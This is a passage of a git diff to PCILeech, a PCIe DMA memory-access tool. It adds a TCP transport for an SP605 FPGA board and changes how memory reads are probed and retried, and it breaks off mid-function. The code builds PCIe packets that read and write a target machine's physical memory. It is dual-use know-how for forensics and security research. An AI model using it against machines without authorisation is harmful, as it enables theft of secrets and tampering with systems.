diff --git a/pcileech/Android.mk b/pcileech/Android.mk index 71afc67..ad5bd1e 100644 --- a/pcileech/Android.mk +++ b/pcileech/Android.mk @@ -14,7 +14,7 @@ LOCAL_CFLAGS := -D ANDROID LOCAL_LDLIBS := -L$(LOCAL_PATH)/lib -llog -g LOCAL_C_INCLUDES := bionic -LOCAL_SRC_FILES:= pcileech.c oscompatibility.c device.c device3380.c device605_uart.c device605_601.c executor.c extra.c help.c kmd.c memdump.c mempatch.c statistics.c tlp.c util.c vfs.c +LOCAL_SRC_FILES:= pcileech.c oscompatibility.c device.c device3380.c device605_uart.c device605_601.c device605_tcp.c executor.c extra.c help.c kmd.c memdump.c mempatch.c statistics.c tlp.c util.c vfs.c LOCAL_MODULE := pcileech LOCAL_SHARED_LIBRARIES += libusb1.0 diff --git a/pcileech/Makefile b/pcileech/Makefile index b0aef7d..c083d97 100644 --- a/pcileech/Makefile +++ b/pcileech/Makefile @@ -1,7 +1,7 @@ CC=gcc CFLAGS=-I. -D LINUX -pthread `pkg-config libusb-1.0 --libs --cflags` DEPS = pcileech.h -OBJ = pcileech oscompatibility.o pcileech.o device.o device3380.o device605_uart.o device605_601.o executor.o extra.o help.o kmd.o memdump.o mempatch.o statistics.o tlp.o util.o vfs.o +OBJ = pcileech oscompatibility.o pcileech.o device.o device3380.o device605_uart.o device605_601.o device605_tcp.o executor.o extra.o help.o kmd.o memdump.o mempatch.o statistics.o tlp.o util.o vfs.o %.o: %.c $(DEPS) $(CC) -c -o $@ $< $(CFLAGS) diff --git a/pcileech/device.c b/pcileech/device.c index afc560b..e86ed90 100644 --- a/pcileech/device.c +++ b/pcileech/device.c @@ -9,6 +9,14 @@ #include "device3380.h" #include "device605_uart.h" #include "device605_601.h" +#include "device605_tcp.h" + +typedef struct tdREAD_DMA_EX_MEMORY_MAP { + BOOL fProbeExecuted; + QWORD qwAddrBase; + DWORD cPages; + PBYTE pb; +} READ_DMA_EX_MEMORY_MAP, *PREAD_DMA_EX_MEMORY_MAP; BOOL DeviceReadDMA(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb, _In_ QWORD flags) { @@ -18,12 +26,26 @@ BOOL DeviceReadDMA(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _Out_ PBYTE return ctx->cfg->dev.pfnReadDMA ? ctx->cfg->dev.pfnReadDMA(ctx, qwAddr, pb, cb) : FALSE; } +BOOL DeviceReadDMAEx_IsMemoryMapOK(_In_ PREAD_DMA_EX_MEMORY_MAP pMemoryMap, _In_ QWORD qwAddr, _In_ DWORD dwSize) +{ + DWORD i; + DWORD cPages = (dwSize + 0xfff) / 0x1000; + DWORD cPageStart = (DWORD)(((qwAddr + 0xfff) - pMemoryMap->qwAddrBase) / 0x1000); + for(i = cPageStart; i < cPageStart + cPages; i++) { + if(0 == pMemoryMap->pb[i]) { + return FALSE; + } + } + return TRUE; +} + #define CHUNK_FAIL_DIVISOR 16 -DWORD DeviceReadDMAEx_DoWork(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb, _Inout_opt_ PPAGE_STATISTICS pPageStat, _In_ DWORD cbMaxSizeIo) +DWORD DeviceReadDMAEx_DoWork(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb, _Inout_opt_ PPAGE_STATISTICS pPageStat, _In_ DWORD cbMaxSizeIo, _Inout_ PREAD_DMA_EX_MEMORY_MAP pMemoryMap, _In_ QWORD flags) { DWORD cbRd, cbRdOff; DWORD cbChunk, cChunkTotal, cChunkSuccess = 0; DWORD i, cbSuccess = 0; + BOOL result; // calculate current chunk sizes cbChunk = ~0xfff & min(cb, cbMaxSizeIo); cbChunk = (cbChunk > 0x3000) ? cbChunk : 0x1000; @@ -33,29 +55,51 @@ DWORD DeviceReadDMAEx_DoWork(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _ for(i = 0; i < cChunkTotal; i++) { cbRdOff = i * cbChunk; cbRd = ((i == cChunkTotal - 1) && (cb % cbChunk)) ? (cb % cbChunk) : cbChunk; // (last chunk may be smaller) - if(DeviceReadDMA(ctx, qwAddr + cbRdOff, pb + cbRdOff, cbRd, 0)) { + result = + DeviceReadDMAEx_IsMemoryMapOK(pMemoryMap, qwAddr + cbRdOff, cbRd) && + DeviceReadDMA(ctx, qwAddr + cbRdOff, pb + cbRdOff, cbRd, 0); + if(!result && !pMemoryMap->fProbeExecuted && ctx->cfg->dev.pfnProbeDMA) { // probe memory on 1st fail (if supported) + DeviceProbeDMA(ctx, pMemoryMap->qwAddrBase, pMemoryMap->cPages, pMemoryMap->pb); + pMemoryMap->fProbeExecuted = TRUE; + } + if(result) { cbSuccess += cbRd; PageStatUpdate(pPageStat, qwAddr + cbRdOff + cbRd, cbRd / 0x1000, 0); + } else if(flags & PCILEECH_FLAG_MEM_EX_FASTFAIL) { + PageStatUpdate(pPageStat, qwAddr + cb, 0, (cb - cbRdOff) / 0x1000); + return cbSuccess; } else if(cbRd == 0x1000) { + ZeroMemory(pb + cbRdOff, cbRd); PageStatUpdate(pPageStat, qwAddr + cbRdOff + cbRd, 0, 1); } else { - cbSuccess += DeviceReadDMAEx_DoWork(ctx, qwAddr + cbRdOff, pb + cbRdOff, cbRd, pPageStat, cbRd / CHUNK_FAIL_DIVISOR); + cbSuccess += DeviceReadDMAEx_DoWork(ctx, qwAddr + cbRdOff, pb + cbRdOff, cbRd, pPageStat, cbRd / CHUNK_FAIL_DIVISOR, pMemoryMap, flags); } } return cbSuccess; } -DWORD DeviceReadDMAEx(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb, _Inout_opt_ PPAGE_STATISTICS pPageStat) +DWORD DeviceReadDMAEx(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb, _Inout_opt_ PPAGE_STATISTICS pPageStat, _In_ QWORD flags) { + READ_DMA_EX_MEMORY_MAP oMemoryMap; BYTE pbWorkaround[4096]; - DWORD cbWorkaround; + DWORD cbDataRead; + // set probe memory map to all mem readable + oMemoryMap.fProbeExecuted = FALSE; + oMemoryMap.qwAddrBase = qwAddr & ~0xfff; + oMemoryMap.cPages = (cb + 0xfff) / 0x1000; + oMemoryMap.pb = LocalAlloc(0, oMemoryMap.cPages); + if(!oMemoryMap.pb) { return 0; } + memset(oMemoryMap.pb, 0x01, oMemoryMap.cPages); + // read memory (with strange workaround for 1-page reads...) if(cb != 0x1000) { - return DeviceReadDMAEx_DoWork(ctx, qwAddr, pb, cb, pPageStat, (DWORD)ctx->cfg->qwMaxSizeDmaIo); + cbDataRead = DeviceReadDMAEx_DoWork(ctx, qwAddr, pb, cb, pPageStat, (DWORD)ctx->cfg->qwMaxSizeDmaIo, &oMemoryMap, flags); + } else { + // why is this working ??? if not here console is screwed up... (threading issue?) + cbDataRead = DeviceReadDMAEx_DoWork(ctx, qwAddr, pbWorkaround, 0x1000, pPageStat, (DWORD)ctx->cfg->qwMaxSizeDmaIo, &oMemoryMap, flags); + memcpy(pb, pbWorkaround, 0x1000); } - // why is this working ??? if not here console is screwed up... (threading issue?) - cbWorkaround = DeviceReadDMAEx_DoWork(ctx, qwAddr, pbWorkaround, 0x1000, pPageStat, (DWORD)ctx->cfg->qwMaxSizeDmaIo); - memcpy(pb, pbWorkaround, 0x1000); - return cbWorkaround; + LocalFree(oMemoryMap.pb); + return cbDataRead; } BOOL DeviceWriteDMA(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _In_ PBYTE pb, _In_ DWORD cb, _In_ QWORD flags) @@ -116,6 +160,9 @@ BOOL DeviceOpen(_Inout_ PPCILEECH_CONTEXT ctx) if(PCILEECH_DEVICE_SP605_UART == ctx->cfg->dev.tp) { result = Device605_UART_Open(ctx); } + if(PCILEECH_DEVICE_SP605_TCP == ctx->cfg->dev.tp) { + result = Device605_TCP_Open(ctx); + } return result; } @@ -135,6 +182,6 @@ BOOL DeviceReadMEM(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _Out_ PBYTE } else if(flags || cb == 0x1000) { return DeviceReadDMA(ctx, qwAddr, pb, cb, flags); } else { - return cb == DeviceReadDMAEx(ctx, qwAddr, pb, cb, NULL); + return cb == DeviceReadDMAEx(ctx, qwAddr, pb, cb, NULL, 0); } } diff --git a/pcileech/device.h b/pcileech/device.h index 416dec8..c9007e6 100644 --- a/pcileech/device.h +++ b/pcileech/device.h @@ -11,6 +11,9 @@ #define PCILEECH_MEM_FLAG_RETRYONFAIL 0x01 #define PCILEECH_MEM_FLAG_VERIFYWRITE 0x02 +// return all fail on first fail instead of trying to re-read in smaller chunks. +#define PCILEECH_FLAG_MEM_EX_FASTFAIL 0x01 + /* * Open a USB connection to the target device. * -- ctx @@ -44,10 +47,11 @@ BOOL DeviceReadDMA(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _Out_ PBYTE * -- pb * -- cb * -- pPageStat = optional page statistics +* -- flags = PCILEECH_FLAG_MEM_EX_* flags * -- return = the number of bytes successfully read. * */ -DWORD DeviceReadDMAEx(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb, _Inout_opt_ PPAGE_STATISTICS pPageStat); +DWORD DeviceReadDMAEx(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb, _Inout_opt_ PPAGE_STATISTICS pPageStat, _In_ QWORD flags); /* * Write data to the target system using DMA. diff --git a/pcileech/device605_601.c b/pcileech/device605_601.c index 3172a53..448bed1 100644 --- a/pcileech/device605_601.c +++ b/pcileech/device605_601.c @@ -29,8 +29,8 @@ #define FPGA_LOOP_TX_VALID 0x77010000 #define SP605_601_PROBE_MAXPAGES 0x400 -#define SP601_601_MAX_SIZE_RX 0x001e000 // in data bytes (excl. overhead/TLP headers) -#define SP601_601_MAX_SIZE_TX 0x0002000 // in total data (incl. overhead/TLP headers) +#define SP605_601_MAX_SIZE_RX 0x0001e000 // in data bytes (excl. overhead/TLP headers) +#define SP605_601_MAX_SIZE_TX 0x00002000 // in total data (incl. overhead/TLP headers) #define ENDIAN_SWAP_WORD(x) (x = (x << 8) | (x >> 8)) #define ENDIAN_SWAP_DWORD(x) (x = (x << 24) | ((x >> 8) & 0xff00) | ((x << 8) & 0xff0000) | (x >> 24)) @@ -186,7 +186,7 @@ BOOL Device605_601_TxTlp(_In_ PDEVICE_CONTEXT_SP605_601 ctx, _In_ PBYTE pbTlp, _ } ctx->txbuf.cb += cbTx; // transmit - if((ctx->txbuf.cb > SP601_601_MAX_SIZE_TX) || (fFlush && ctx->txbuf.cb)) { + if((ctx->txbuf.cb > SP605_601_MAX_SIZE_TX) || (fFlush && ctx->txbuf.cb)) { status = ctx->dev.pfnFT_WritePipe(ctx->dev.hFTDI, 0x02, ctx->txbuf.pb, ctx->txbuf.cb, &cbTxed, NULL); ctx->txbuf.cb = 0; return (0 == status); @@ -209,7 +209,7 @@ VOID Device605_601_RxTlpSynchronous(_In_ PDEVICE_CONTEXT_SP605_601 ctx) ctx->dev.pfnFT_AbortPipe(ctx->dev.hFTDI, 0x82); return; } - if(ctx->rxbuf.cb % 8) { + if((ctx->rxbuf.cb % 8) && (ctx->rxbuf.cb > 4)) { printf("Device Info: SP605 / FT601: Bad read from device. Should not happen!\n"); return; } @@ -245,7 +245,7 @@ BOOL Device605_601_ReadDMA(_Inout_ PPCILEECH_CONTEXT ctxPcileech, _In_ QWORD qwA BOOL is32; PTLP_HDR_MRdWr64 hdrRd64 = (PTLP_HDR_MRdWr64)tx; PTLP_HDR_MRdWr32 hdrRd32 = (PTLP_HDR_MRdWr32)tx; - if(cb > SP601_601_MAX_SIZE_RX) { return FALSE; } + if(cb > SP605_601_MAX_SIZE_RX) { return FALSE; } if(qwAddr % 0x1000) { return FALSE; } if((cb >= 0x1000) && (cb % 0x1000)) { return FALSE; } if((cb < 0x1000) && (cb % 0x8)) { return FALSE; } @@ -267,8 +267,7 @@ BOOL Device605_601_ReadDMA(_Inout_ PPCILEECH_CONTEXT ctxPcileech, _In_ QWORD qwA hdrRd32->FirstBE = 0xf; hdrRd32->LastBE = 0xf; hdrRd32->Address = (DWORD)(qwAddr + o); - } - else { + } else { hdrRd64->h.TypeFmt = TLP_MRd64; hdrRd64->h.Length = (WORD)((cb < 0x1000) ? cb >> 2 : 0); hdrRd64->RequesterID = ctx->wDeviceId; @@ -446,16 +445,16 @@ BOOL Device605_601_Open(_Inout_ PPCILEECH_CONTEXT ctxPcileech) if(!ctx->dev.hFTDI) { goto fail; } Device605_601_GetDeviceID_FpgaVersion(ctx); if(!ctx->wDeviceId) { goto fail; } - ctx->rxbuf.cbMax = (DWORD)(2.3 * SP601_601_MAX_SIZE_RX); // buffer size tuned to lowest possible (+margin) for performance. + ctx->rxbuf.cbMax = (DWORD)(2.3 * SP605_601_MAX_SIZE_RX); // buffer size tuned to lowest possible (+margin) for performance. ctx->rxbuf.pb = LocalAlloc(0, ctx->rxbuf.cbMax); if(!ctx->rxbuf.pb) { goto fail; } - ctx->txbuf.cbMax = SP601_601_MAX_SIZE_TX + 0x10000; + ctx->txbuf.cbMax = SP605_601_MAX_SIZE_TX + 0x10000; ctx->txbuf.pb = LocalAlloc(0, ctx->txbuf.cbMax); if(!ctx->txbuf.pb) { goto fail; } ctx->isPrintTlp = ctxPcileech->cfg->fVerboseExtra; // set callback functions and fix up config ctxPcileech->cfg->dev.tp = PCILEECH_DEVICE_SP605_FT601; - ctxPcileech->cfg->dev.qwMaxSizeDmaIo = SP601_601_MAX_SIZE_RX; + ctxPcileech->cfg->dev.qwMaxSizeDmaIo = SP605_601_MAX_SIZE_RX; ctxPcileech->cfg->dev.qwAddrMaxNative = 0x0000ffffffffffff; ctxPcileech->cfg->dev.fPartialPageReadSupported = TRUE; ctxPcileech->cfg->dev.pfnClose = Device605_601_Close; diff --git a/pcileech/device605_tcp.c b/pcileech/device605_tcp.c new file mode 100644 index 0000000..f627647 --- /dev/null +++ b/pcileech/device605_tcp.c @@ -0,0 +1,495 @@ +// device605_tcp.c : implementation related to the Xilinx SP605 dev board flashed with @d_olex bitstream. +// +// (c) Ulf Frisk & @d_olex, 2017 +// +#ifdef WIN32 + +#include + +#pragma comment(lib, "ws2_32.lib") + +#else + +#include +#include +#include + +#define SOCKET int + +#define closesocket(_s_) close((_s_)) + +#define INVALID_SOCKET -1 +#define SOCKET_ERROR -1 + +#endif + +#ifdef WIN32 +#include +#endif + +typedef struct _PCIE_CTL { + unsigned char flags; // see PCIE_F_* + unsigned int data; +} +#if defined(LINUX) || defined(ANDROID) +__attribute__((packed)) +#endif +PCIE_CTL; + +#ifdef WIN32 +#include +#endif + +#include "device605_tcp.h" +#include "device.h" +#include "tlp.h" +#include "util.h" + +//------------------------------------------------------------------------------- +// FPGA/SP605/TCP defines below. +//------------------------------------------------------------------------------- + +#define PCIE_F_HAS_DATA 0x01 // PCIE_CTL has TLP dword to send +#define PCIE_F_RECV_REPLY 0x02 // receive reply TLP +#define PCIE_F_TLAST 0x04 // last TLP dword +#define PCIE_F_TIMEOUT 0x08 // TLP receive timeout occured +#define PCIE_F_ERROR 0x10 // some error occured +#define PCIE_F_STATUS 0x20 // get PCI-E link status + +#define TLP_RX_SIZE 128 +#define TLP_RX_MAX_SIZE 1024 + +#define SP605_PROBE_MAXPAGES 1024 +#define SP605_TCP_MAX_SIZE_RX 0x00001000 +#define SP605_TCP_MAX_SIZE_TX 0x00001000 + +#define ENDIAN_SWAP_WORD(x) (x = (x << 8) | (x >> 8)) +#define ENDIAN_SWAP_DWORD(x) (x = (x << 24) | ((x >> 8) & 0xff00) | ((x << 8) & 0xff0000) | (x >> 24)) + +#define DEFAULT_PORT 28472 + +typedef struct tdDEVICE_CONTEXT_SP605_TCP { + SOCKET Sock; + WORD wDeviceId; + BOOL isPrintTlp; + PTLP_CALLBACK_BUF_MRd pMRdBuffer; + struct { + PBYTE pb; + DWORD cb; + DWORD cbMax; + } rxbuf; + struct { + PBYTE pb; + DWORD cb; + DWORD cbMax; + } txbuf; + BOOL(*hRxTlpCallbackFn)(_Inout_ PTLP_CALLBACK_BUF_MRd pBufferMrd, _In_ PBYTE pb, _In_ DWORD cb, _In_opt_ HANDLE hEventCompleted); +} DEVICE_CONTEXT_SP605_TCP, *PDEVICE_CONTEXT_SP605_TCP; + +//------------------------------------------------------------------------------- +// FPGA/SP605/TCP implementation below. +//------------------------------------------------------------------------------- + +SOCKET Device605_TCP_Connect(_In_ DWORD Addr, _In_ WORD Port) +{ + SOCKET Sock = 0; + struct sockaddr_in sAddr; + sAddr.sin_family = AF_INET; + sAddr.sin_port = htons(Port); + sAddr.sin_addr.s_addr = Addr; + if ((Sock = socket(AF_INET, SOCK_STREAM, 0)) != INVALID_SOCKET) { + if (connect(Sock, (struct sockaddr *)&sAddr, sizeof(sAddr)) != SOCKET_ERROR) { return Sock; } + fprintf(stderr, "ERROR: connect() fails\n"); + closesocket(Sock); + } + else { + fprintf(stderr, "ERROR: socket() fails\n"); + } + return 0; +} + +WORD Device605_TCP_GetDeviceID(_In_ PDEVICE_CONTEXT_SP605_TCP ctx605) +{ + PCIE_CTL Rx, Tx; + DWORD cbRead; + Tx.flags = PCIE_F_STATUS; + Tx.data = 0; + if (send(ctx605->Sock, (const char *)&Tx, sizeof(Tx), 0) != sizeof(Tx)) { + fprintf(stderr, "ERROR: send() fails\n"); + return 0; + } + cbRead = 0; + while (cbRead < sizeof(Rx)) { + DWORD len = recv(ctx605->Sock, (char *)&Rx + cbRead, sizeof(Rx) - cbRead, 0); + if (len == SOCKET_ERROR || len == 0) { + fprintf(stderr, "ERROR: recv() fails\n"); + return 0; + } + cbRead += len; + } + if (!(Rx.flags & (PCIE_F_STATUS | PCIE_F_HAS_DATA))) { return 0; } + if (Rx.data == 0) { + fprintf(stderr, "ERROR: PCI-E endpoint is not configured by root complex yet\n"); + } + return (WORD)Rx.data; +} + +VOID Device605_TCP_Close(_Inout_ PPCILEECH_CONTEXT ctxPcileech) +{ + PDEVICE_CONTEXT_SP605_TCP ctx = (PDEVICE_CONTEXT_SP605_TCP)ctxPcileech->hDevice; + if (!ctx) { return; } + if (ctx->Sock) { closesocket(ctx->Sock); } + if (ctx->rxbuf.pb) { LocalFree(ctx->rxbuf.pb); } + if (ctx->txbuf.pb) { LocalFree(ctx->txbuf.pb); } + LocalFree(ctx); + ctxPcileech->hDevice = 0; +} + +BOOL Device605_TCP_TxTlp(_In_ PDEVICE_CONTEXT_SP605_TCP ctx, _In_ PBYTE pbTlp, _In_ DWORD cbTlp, BOOL fFlush) +{ + PBYTE pbTx; + DWORD i, cbTx, len, Total = 0; + PCIE_CTL *Tx, *Last = NULL; + if (cbTlp & 0x3) { return FALSE; } + if (cbTlp > 2048) { return FALSE; } + if (ctx->isPrintTlp) { + TLP_Print(pbTlp, cbTlp, TRUE); + } + // prepare transmit buffer + pbTx = ctx->txbuf.pb + ctx->txbuf.cb; + cbTx = sizeof(PCIE_CTL) * cbTlp; + for (Tx = (PCIE_CTL *)pbTx, i = 0; i < cbTlp; Tx++, i += 4) { + Tx->data = ENDIAN_SWAP_DWORD(*(PDWORD)(pbTlp + i)); + Tx->flags = PCIE_F_HAS_DATA; + Last = Tx; + } + if (Last) { + Last->flags |= PCIE_F_TLAST; + } + ctx->txbuf.cb += cbTx; + // transmit + if (ctx->txbuf.cb && (fFlush || (ctx->txbuf.cb > ctx->txbuf.cbMax - 0x1000))) { + while (Total < ctx->txbuf.cb) { + len = send(ctx->Sock, (const char *)ctx->txbuf.pb + Total, ctx->txbuf.cb - Total, 0); + if (len == 0 || len == SOCKET_ERROR) { + fprintf(stderr, "ERROR: send() fails\n"); + return FALSE; + } + Total += len; + } + ctx->txbuf.cb = 0; + } + return TRUE; +} + +BOOL Device605_TCP_RxTlpSynchronous(_In_ PDEVICE_CONTEXT_SP605_TCP ctx) +{ + DWORD i = 0, cdwTlp = 0, Total = 0, len; + PCIE_CTL Rx, Tx; + BYTE pbTlp[TLP_RX_MAX_SIZE]; + PDWORD pdwTlp = (PDWORD)pbTlp; + PDWORD pdwRx = (PDWORD)ctx->rxbuf.pb; + Tx.flags = PCIE_F_RECV_REPLY | PCIE_F_TIMEOUT; + Tx.data = 0; + while (Total < sizeof(Tx)) { + len = send(ctx->Sock, (const char *)&Tx + Total, sizeof(Tx) - Total, 0); + if (len == 0 || len == SOCKET_ERROR) { + fprintf(stderr, "ERROR: send() fails\n"); + return FALSE; + } + Total += len; + } + while (cdwTlp < TLP_RX_MAX_SIZE / sizeof(DWORD)) { + Total = 0; + while (Total < sizeof(Rx)) { + len = recv(ctx->Sock, (char *)&Rx + Total, sizeof(Rx) - Total, 0); + if (len == 0 || len == SOCKET_ERROR) { + fprintf(stderr, "ERROR: recv() fails\n"); + return FALSE; + } + Total += len; + } + if (Rx.flags & PCIE_F_ERROR) { + fprintf(stderr, "ERROR: failed to receive TLP\n"); + return FALSE; + } + if (!(Rx.flags & PCIE_F_HAS_DATA)) { return FALSE; } + pdwTlp[cdwTlp] = ENDIAN_SWAP_DWORD(Rx.data); + cdwTlp++; + if (Rx.flags & PCIE_F_TLAST) { + if (cdwTlp >= 3) { + if (ctx->isPrintTlp) { + TLP_Print(pbTlp, cdwTlp << 2, FALSE); + } + if (ctx->hRxTlpCallbackFn) { + ctx->hRxTlpCallbackFn(ctx->pMRdBuffer, pbTlp, cdwTlp << 2, NULL); + } + } + else { + fprintf(stderr, "WARNING: BAD PCIe TLP RECEIVED! THIS SHOULD NOT HAPPEN!\n"); + return FALSE; + } + break; + } + } + return TRUE; +} + +BOOL Device605_TCP_ReadDMA(_Inout_ PPCILEECH_CONTEXT ctxPcileech, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb) +{ + PDEVICE_CONTEXT_SP605_TCP ctx = (PDEVICE_CONTEXT_SP605_TCP)ctxPcileech->hDevice; + TLP_CALLBACK_BUF_MRd rxbuf; + DWORD tx[4], o = 0, i; + BOOL is32; + PTLP_HDR_MRdWr64 hdrRd64 = (PTLP_HDR_MRdWr64)tx; + PTLP_HDR_MRdWr32 hdrRd32 = (PTLP_HDR_MRdWr32)tx; + if (cb > SP605_TCP_MAX_SIZE_RX) { return FALSE; } + if (qwAddr % 0x1000) { return FALSE; } + if ((cb >= 0x1000) && (cb % 0x1000)) { return FALSE; } + if ((cb < 0x1000) && (cb % 0x8)) { return FALSE; } + // prepare + ctx->pMRdBuffer = &rxbuf; + ctx->hRxTlpCallbackFn = TLP_CallbackMRd; + // transmit TLPs + while (o < cb) { + rxbuf.cb = 0; + rxbuf.pb = pb + o; + rxbuf.cbMax = TLP_RX_SIZE; + memset(tx, 0, 16); + is32 = qwAddr + o < 0x100000000; + if (is32) { + hdrRd32->h.TypeFmt = TLP_MRd32; + hdrRd32->h.Length = (TLP_RX_SIZE >> 2); + hdrRd32->RequesterID = ctx->wDeviceId; + hdrRd32->Tag = 0; + hdrRd32->FirstBE = 0xf; + hdrRd32->LastBE = 0xf; + hdrRd32->Address = (DWORD)(qwAddr + o); + } + else { + hdrRd64->h.TypeFmt = TLP_MRd64; + hdrRd64->h.Length = (TLP_RX_SIZE >> 2); + hdrRd64->RequesterID = ctx->wDeviceId; + hdrRd64->Tag = 0; + hdrRd64->FirstBE = 0xf; + hdrRd64->LastBE = 0xf; + hdrRd64->AddressHigh = (DWORD)((qwAddr + o) >> 32); + hdrRd64->AddressLow = (DWORD)(qwAddr + o); + } + for (i = 0; i < 4; i++) { + ENDIAN_SWAP_DWORD(tx[i]); + } + if (!Device605_TCP_TxTlp(ctx, (PBYTE)tx, is32 ? 12 : 16, TRUE) || + !Device605_TCP_RxTlpSynchronous(ctx)) { + ctx->hRxTlpCallbackFn = NULL; + ctx->pMRdBuffer = NULL; + return FALSE; + } + if (rxbuf.cb == 0) { + ctx->hRxTlpCallbackFn = NULL; + ctx->pMRdBuffer = NULL; + return FALSE; + } + o += rxbuf.cb; + } + ctx->hRxTlpCallbackFn = NULL; + ctx->pMRdBuffer = NULL; + return TRUE; +} + +VOID Device605_TCP_ProbeDMA(_Inout_ PPCILEECH_CONTEXT ctxPcileech, _In_ QWORD qwAddr, _In_ DWORD cPages, _Out_ __bcount(cPages) PBYTE pbResultMap) +{ + DWORD i, j; + PDEVICE_CONTEXT_SP605_TCP ctx = (PDEVICE_CONTEXT_SP605_TCP)ctxPcileech->hDevice; + TLP_CALLBACK_BUF_MRd bufMRd; + DWORD tx[4]; + BOOL is32; + PTLP_HDR_MRdWr64 hdrRd64 = (PTLP_HDR_MRdWr64)tx; + PTLP_HDR_MRdWr32 hdrRd32 = (PTLP_HDR_MRdWr32)tx; + // split probe into processing chunks if too large... + while (cPages > SP605_PROBE_MAXPAGES) { + Device605_TCP_ProbeDMA(ctxPcileech, qwAddr, SP605_PROBE_MAXPAGES, pbResultMap); + cPages -= SP605_PROBE_MAXPAGES; + pbResultMap += SP605_PROBE_MAXPAGES; + qwAddr += SP605_PROBE_MAXPAGES << 12; + } + memset(pbResultMap, 0, cPages); + // prepare + bufMRd.cb = 0; + bufMRd.pb = pbResultMap; + bufMRd.cbMax = cPages; + ctx->pMRdBuffer = &bufMRd; + ctx->hRxTlpCallbackFn = TLP_CallbackMRdProbe; + // transmit TLPs + for (i = 0; i < cPages; i++) { + memset(tx, 0, 16); + is32 = qwAddr + (i << 12) < 0x100000000; + if (is32) { + hdrRd32->h.TypeFmt = TLP_MRd32; + hdrRd32->h.Length = 1; + hdrRd32->RequesterID = ctx->wDeviceId; + hdrRd32->FirstBE = 0xf; + hdrRd32->LastBE = 0; + hdrRd32->Address = (DWORD)(qwAddr + (i << 12) + ((i & 0x1f) << 2)); // 5 low address bits coded into the dword read. + hdrRd32->Tag = (BYTE)((i >> 5) & 0x1f); // 5 high address bits coded into tag. + } + else { + hdrRd64->h.TypeFmt = TLP_MRd64; + hdrRd64->h.Length = 1; + hdrRd64->RequesterID = ctx->wDeviceId; + hdrRd64->FirstBE = 0xf; + hdrRd64->LastBE = 0; + hdrRd64->AddressHigh = (DWORD)((qwAddr + (i << 12)) >> 32); + hdrRd64->AddressLow = (DWORD)(qwAddr + (i << 12) + ((i & 0x1f) << 2)); // 5 low address bits coded into the dword read. + hdrRd64->Tag = (BYTE)((i >> 5) & 0x1f); // 5 high address bits coded into tag. + } + for (j = 0; j < 4; j++) { + ENDIAN_SWAP_DWORD(tx[j]); + } + if(!Device605_TCP_TxTlp(ctx, (PBYTE)tx, is32 ? 12 : 16, TRUE) || !Device605_TCP_RxTlpSynchronous(ctx)) { + goto err; + } + } +err: + ctx->hRxTlpCallbackFn = NULL; + ctx->pMRdBuffer = NULL; +} + +// write max 128 byte packets. +BOOL Device605_TCP_WriteDMA_TXP(_Inout_ PDEVICE_CONTEXT_SP605_TCP ctx, _In_ QWORD qwA, _In_ BYTE bFirstBE, _In_ BYTE bLastBE, _In_ PBYTE pb, _In_ DWORD cb) +{ + DWORD txbuf[36], i, cbTlp; + PBYTE pbTlp = (PBYTE)txbuf; + PTLP_HDR_MRdWr32 hdrWr32 = (PTLP_HDR_MRdWr32)txbuf; + PTLP_HDR_MRdWr64 hdrWr64 = (PTLP_HDR_MRdWr64)txbuf; + memset(pbTlp, 0, 16); + if (qwA < 0x100000000) { + hdrWr32->h.TypeFmt = TLP_MWr32; + hdrWr32->h.Length = (WORD)(cb + 3) >> 2; + hdrWr32->FirstBE = bFirstBE; + hdrWr32->LastBE = bLastBE; + hdrWr32->RequesterID = ctx->wDeviceId; + hdrWr32->Address = (DWORD)qwA; + for (i = 0; i < 3; i++) { + ENDIAN_SWAP_DWORD(txbuf[i]); + } + memcpy(pbTlp + 12, pb, cb); + cbTlp = (12 + cb + 3) & ~0x3; + } + else { + hdrWr64->h.TypeFmt = TLP_MWr64; + hdrWr64->h.Length = (WORD)(cb + 3) >> 2; + hdrWr64->FirstBE = bFirstBE; + hdrWr64->LastBE = bLastBE; + hdrWr64->RequesterID = ctx->wDeviceId; + hdrWr64->AddressHigh = (DWORD)(qwA >> 32); + hdrWr64->AddressLow = (DWORD)qwA; + for (i = 0; i < 4; i++) { + ENDIAN_SWAP_DWORD(txbuf[i]); + } + memcpy(pbTlp + 16, pb, cb); + cbTlp = (16 + cb + 3) & ~0x3; + } + return Device605_TCP_TxTlp(ctx, pbTlp, cbTlp, FALSE); +} + +BOOL Device605_TCP_WriteDMA(_Inout_ PPCILEECH_CONTEXT ctxPcileech, _In_ QWORD qwA, _In_ PBYTE pb, _In_ DWORD cb) +{ + PDEVICE_CONTEXT_SP605_TCP ctx = (PDEVICE_CONTEXT_SP605_TCP)ctxPcileech->hDevice; + BOOL result = TRUE; + BYTE be, pbb[4]; + DWORD cbtx; + // TX 1st dword if not aligned + if (cb && (qwA & 0x3)) { + be = (cb < 3) ? (0xf >> (4 - cb)) : 0xf; + be <<= qwA & 0x3; + cbtx = min(cb, 4 - (qwA & 0x3)); + memcpy(pbb + (qwA & 0x3), pb, cbtx); + result = Device605_TCP_WriteDMA_TXP(ctx, qwA & ~0x3, be, 0, pbb, 4); + pb += cbtx; + cb -= cbtx; + qwA += cbtx; + } + // TX as 128-byte packets (aligned to 128-byte boundaries) + while (result && cb) { + cbtx = min(128 - (qwA & 0x7f), cb); + be = (cbtx & 0x3) ? (0xf >> (4 - (cbtx & 0x3))) : 0xf; + result = (cbtx <= 4) ? + 